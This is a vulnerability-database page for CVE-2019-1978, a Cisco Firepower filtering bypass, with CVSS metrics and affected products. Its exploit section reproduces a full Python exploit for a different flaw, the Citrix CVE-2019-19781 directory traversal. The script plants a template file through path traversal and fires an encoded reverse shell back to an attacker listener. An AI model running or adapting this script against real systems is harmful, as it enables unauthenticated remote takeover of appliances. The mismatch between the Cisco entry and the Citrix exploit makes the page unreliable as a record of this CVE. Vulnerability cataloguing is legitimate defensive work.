CVE-2019-1978 : Detail

CVE-2019-1978

5.8
/
Medium
A01-Broken Access ControlA03-Injection
1.83%V3
Network
2019-11-05
19h35 +00:00
2024-11-19
18h52 +00:00
CVE.org
NVD
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CVE Descriptions

Cisco Firepower Threat Defense Software Stream Reassembly Bypass Vulnerability

A vulnerability in the stream reassembly component of Cisco Firepower Threat Defense Software, Cisco FirePOWER Services Software for ASA, and Cisco Firepower Management Center Software could allow an unauthenticated, remote attacker to bypass filtering protections. The vulnerability is due to improper reassembly of traffic streams. An attacker could exploit this vulnerability by sending crafted streams through an affected device. An exploit could allow the attacker to bypass filtering and deliver malicious requests to protected systems that would otherwise be blocked.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.8 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V3.0 5.8 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics
V2 5 AV:N/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 47902

Publication date : 2020-01-10 23h00 +00:00
Author : TrustedSec
EDB Verified : No

#!/usr/bin/python3 # # Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 # # You only need a listener like netcat to catch the shell. # # Shout out to the team: Rob Simon, Justin Elze, Logan Sampson, Geoff Walton, Christopher Paschen, Kevin Haubris, Scott White # # Tool Written by: Rob Simon and David Kennedy import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings import random import string import time from random import randint import argparse import sys # random string generator def randomString(stringLength=10): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(stringLength)) # our random string for filename - will leave artifacts on system filename = randomString() randomuser = randomString() # generate random number for the nonce nonce = randint(5, 15) # this is our first stage which will write out the file through the Citrix traversal issue and the newbm.pl script # note that the file location will be in /netscaler/portal/templates/filename.xml def stage1(filename, randomuser, nonce, victimip, victimport, attackerip, attackerport): # encoding our payload stub for one netcat listener - awesome work here Rob Simon (KC) encoded = "" i=0 text = ("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" % (attackerip, attackerport)) while i < len(text): encoded = encoded + "chr("+str(ord(text[i]))+") . " i += 1 encoded = encoded[:-3] payload="[% template.new({'BLOCK'='print readpipe(" + encoded + ")'})%]" headers = ( { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0', 'NSC_USER' : '../../../netscaler/portal/templates/%s' % (filename), 'NSC_NONCE' : '%s' % (nonce), }) data = ( { "url" : "127.0.0.1", "title" : payload, "desc" : "desc", "UI_inuse" : "a" }) url = ("https://%s:%s/vpn/../vpns/portal/scripts/newbm.pl" % (victimip, victimport)) requests.post(url, data=data, headers=headers, verify=False) # this is our second stage that triggers the exploit for us def stage2(filename, randomuser, nonce, victimip, victimport): headers = ( { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0', 'NSC_USER' : '%s' % (randomuser), 'NSC_NONCE' : '%s' % (nonce), }) requests.get("https://%s:%s/vpn/../vpns/portal/%s.xml" % (victimip, victimport, filename), headers=headers, verify=False) # start our main code to execute print(''' .o oOOOOOOOo OOOo Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO OboO"""""""""""".OOo. .oOOOOOo. OOOo.oOOOOOo.."""""""""'OO OOP.oOOOOOOOOOOO "POOOOOOOOOOOo. `"OOOOOOOOOP,OOOOOOOOOOOB' `O'OOOO' `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO' `OOOOo .OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO OOOOO '"OOOOOOOOOOOOOOOO"` oOO oOOOOOba. .adOOOOOOOOOOba .adOOOOo. oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"` '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO "OOOO" "YOoOOOOMOIONODOO"` . '"OOROAOPOEOOOoOY" "OOO" Y 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :` : .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? . . oOOP"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO"OOo '%o OOOO"%OOOO%"%OOOOO"OOOOOO"OOO': `$" `OOOO' `O"Y ' `OOOO' o . . . OP" : o . : Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 Tool Written by: Rob Simon and Dave Kennedy Contributions: The TrustedSec Team Website: https://www.trustedsec.com INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used to append files in an XML format to the victim machine. This in turn allows for remote code execution. Be sure to cleanup these two file locations: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/ Usage: python citrixmash.py <victimipaddress> <victimport> <attacker_listener> <attacker_port>\n''') # parse our commands parser = argparse.ArgumentParser() parser.add_argument("target", help="the vulnerable server with Citrix (defaults https)") parser.add_argument("targetport", help="the target server web port (normally on 443)") parser.add_argument("attackerip", help="the attackers reverse listener IP address") parser.add_argument("attackerport", help="the attackersa reverse listener port") args = parser.parse_args() print("[*] Firing STAGE1 POST request to create the XML template exploit to disk...") print("[*] Saving filename as %s.xml on the victim machine..." % (filename)) # trigger our first post stage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport) print("[*] Sleeping for 2 seconds to ensure file is written before we call it...") time.sleep(2) print("[*] Triggering GET request for the newly created file with a listener waiting...") print("[*] Shell should now be in your listener... enjoy. Keep this window open..") print("[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/") # trigger our second post stage2(filename, randomuser, nonce, args.target, args.targetport)

Products Mentioned

Configuraton 0

Cisco>>Firepower_services_software_for_asa >> Version *

Cisco>>Firepower_threat_defense >> Version *

Cisco>>Secure_firewall_management_center >> Version From (including) 2.9.12 To (including) 2.9.12.15

Cisco>>Secure_firewall_management_center >> Version From (including) 2.9.13 To (including) 2.9.13.6

Cisco>>Secure_firewall_management_center >> Version From (including) 2.9.14.0 To (including) 2.9.14.5

Cisco>>Secure_firewall_management_center >> Version 2.9.15

Cisco>>Secure_firewall_management_center >> Version 2.9.16

References